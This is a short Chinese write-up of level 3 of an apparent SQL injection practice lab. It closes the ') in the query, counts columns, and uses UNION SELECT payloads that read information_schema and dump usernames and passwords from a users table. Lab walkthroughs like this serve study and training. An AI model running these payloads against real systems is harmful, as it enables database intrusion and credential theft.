第3关
输入?id=1,回显正常
输入?id=1',出现报错,并且报错信息给了我们提示,有对单引号把我们输入的1'包起来且后面有个括号,猜测sql语句应该是
select...from...where id=('我们输入的内容') limit 0,1
那我们把前面单引号和括号闭合,把后面的单引号和括号注释掉
?id=1') --+
回显正常
?id=1') order by 3 --+
3正常,4异常
所以猜测字段数是3
然后利用报错和联合查询查看回显字段
?id=-1') union select 1,2,3--+
回显字段是2和3
查数据库版本号,库名
?id=-1') union select 1,version(),database()--+
后面的操作跟第一第二关一样,就不演示了。
爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
爆用户名和密码
?id=-1') union select 1,group_concat(username),group_concat(password) from users--+